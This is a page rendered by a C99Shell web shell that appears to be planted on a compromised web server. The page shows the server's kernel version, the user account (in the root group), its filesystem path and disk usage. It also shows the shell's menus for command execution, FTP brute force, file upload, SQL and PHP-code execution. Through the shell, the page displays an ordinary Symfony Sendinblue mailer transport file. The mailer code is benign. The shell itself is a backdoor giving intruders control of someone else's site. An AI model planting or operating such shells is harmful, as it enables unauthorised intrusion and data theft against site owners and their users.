!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/symfony/sendinblue-mailer/Transport/   drwxr-xr-x
Free 28.47 GB of 117.98 GB (24.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SendinblueApiTransport.php (6.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Mailer\Bridge\Sendinblue\Transport;

use 
Psr\EventDispatcher\EventDispatcherInterface;
use 
Psr\Log\LoggerInterface;
use 
Symfony\Component\Mailer\Envelope;
use 
Symfony\Component\Mailer\Exception\HttpTransportException;
use 
Symfony\Component\Mailer\Header\MetadataHeader;
use 
Symfony\Component\Mailer\Header\TagHeader;
use 
Symfony\Component\Mailer\SentMessage;
use 
Symfony\Component\Mailer\Transport\AbstractApiTransport;
use 
Symfony\Component\Mime\Address;
use 
Symfony\Component\Mime\Email;
use 
Symfony\Component\Mime\Header\Headers;
use 
Symfony\Contracts\HttpClient\Exception\DecodingExceptionInterface;
use 
Symfony\Contracts\HttpClient\Exception\TransportExceptionInterface;
use 
Symfony\Contracts\HttpClient\HttpClientInterface;
use 
Symfony\Contracts\HttpClient\ResponseInterface;

/**
 * @author Yann LUCAS
 */
final class SendinblueApiTransport extends AbstractApiTransport
{
    private 
string $key;

    public function 
__construct(string $keyHttpClientInterface $client nullEventDispatcherInterface $dispatcher nullLoggerInterface $logger null)
    {
        
$this->key $key;

        
parent::__construct($client$dispatcher$logger);
    }

    public function 
__toString(): string
    
{
        return 
sprintf('sendinblue+api://%s'$this->getEndpoint());
    }

    protected function 
doSendApi(SentMessage $sentMessageEmail $emailEnvelope $envelope): ResponseInterface
    
{
        
$response $this->client->request('POST''https://'.$this->getEndpoint().'/v3/smtp/email', [
            
'json' => $this->getPayload($email$envelope),
            
'headers' => [
                
'api-key' => $this->key,
            ],
        ]);

        try {
            
$statusCode $response->getStatusCode();
            
$result $response->toArray(false);
        } catch (
DecodingExceptionInterface) {
            throw new 
HttpTransportException('Unable to send an email: '.$response->getContent(false).sprintf(' (code %d).'$statusCode), $response);
        } catch (
TransportExceptionInterface $e) {
            throw new 
HttpTransportException('Could not reach the remote Sendinblue server.'$response0$e);
        }

        if (
201 !== $statusCode) {
            throw new 
HttpTransportException('Unable to send an email: '.$result['message'].sprintf(' (code %d).'$statusCode), $response);
        }

        
$sentMessage->setMessageId($result['messageId']);

        return 
$response;
    }

    protected function 
stringifyAddresses(array $addresses): array
    {
        
$stringifiedAddresses = [];
        foreach (
$addresses as $address) {
            
$stringifiedAddresses[] = $this->stringifyAddress($address);
        }

        return 
$stringifiedAddresses;
    }

    private function 
getPayload(Email $emailEnvelope $envelope): array
    {
        
$payload = [
            
'sender' => $this->stringifyAddress($envelope->getSender()),
            
'to' => $this->stringifyAddresses($this->getRecipients($email$envelope)),
            
'subject' => $email->getSubject(),
        ];
        if (
$attachements $this->prepareAttachments($email)) {
            
$payload['attachment'] = $attachements;
        }
        if (
$emails $email->getReplyTo()) {
            
$payload['replyTo'] = current($this->stringifyAddresses($emails));
        }
        if (
$emails $email->getCc()) {
            
$payload['cc'] = $this->stringifyAddresses($emails);
        }
        if (
$emails $email->getBcc()) {
            
$payload['bcc'] = $this->stringifyAddresses($emails);
        }
        if (
$email->getTextBody()) {
            
$payload['textContent'] = $email->getTextBody();
        }
        if (
$email->getHtmlBody()) {
            
$payload['htmlContent'] = $email->getHtmlBody();
        }
        if (
$headersAndTags $this->prepareHeadersAndTags($email->getHeaders())) {
            
$payload array_merge($payload$headersAndTags);
        }

        return 
$payload;
    }

    private function 
prepareAttachments(Email $email): array
    {
        
$attachments = [];
        foreach (
$email->getAttachments() as $attachment) {
            
$headers $attachment->getPreparedHeaders();
            
$filename $headers->getHeaderParameter('Content-Disposition''filename');

            
$att = [
                
'content' => str_replace("\r\n"''$attachment->bodyToString()),
                
'name' => $filename,
            ];

            
$attachments[] = $att;
        }

        return 
$attachments;
    }

    private function 
prepareHeadersAndTags(Headers $headers): array
    {
        
$headersAndTags = [];
        
$headersToBypass = ['from''to''cc''bcc''subject''reply-to''content-type''accept''api-key'];
        foreach (
$headers->all() as $name => $header) {
            if (
\in_array($name$headersToBypasstrue)) {
                continue;
            }
            if (
$header instanceof TagHeader) {
                
$headersAndTags['tags'][] = $header->getValue();

                continue;
            }
            if (
$header instanceof MetadataHeader) {
                
$headersAndTags['headers']['X-Mailin-'.ucfirst(strtolower($header->getKey()))] = $header->getValue();

                continue;
            }
            if (
'templateid' === $name) {
                
$headersAndTags[$header->getName()] = (int) $header->getValue();

                continue;
            }
            if (
'params' === $name) {
                
$headersAndTags[$header->getName()] = $header->getParameters();

                continue;
            }
            
$headersAndTags['headers'][$header->getName()] = $header->getBodyAsString();
        }

        return 
$headersAndTags;
    }

    private function 
stringifyAddress(Address $address): array
    {
        
$stringifiedAddress = ['email' => $address->getAddress()];

        if (
$address->getName()) {
            
$stringifiedAddress['name'] = $address->getName();
        }

        return 
$stringifiedAddress;
    }

    private function 
getEndpoint(): ?string
    
{
        return (
$this->host ?: 'api.sendinblue.com').($this->port ':'.$this->port '');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--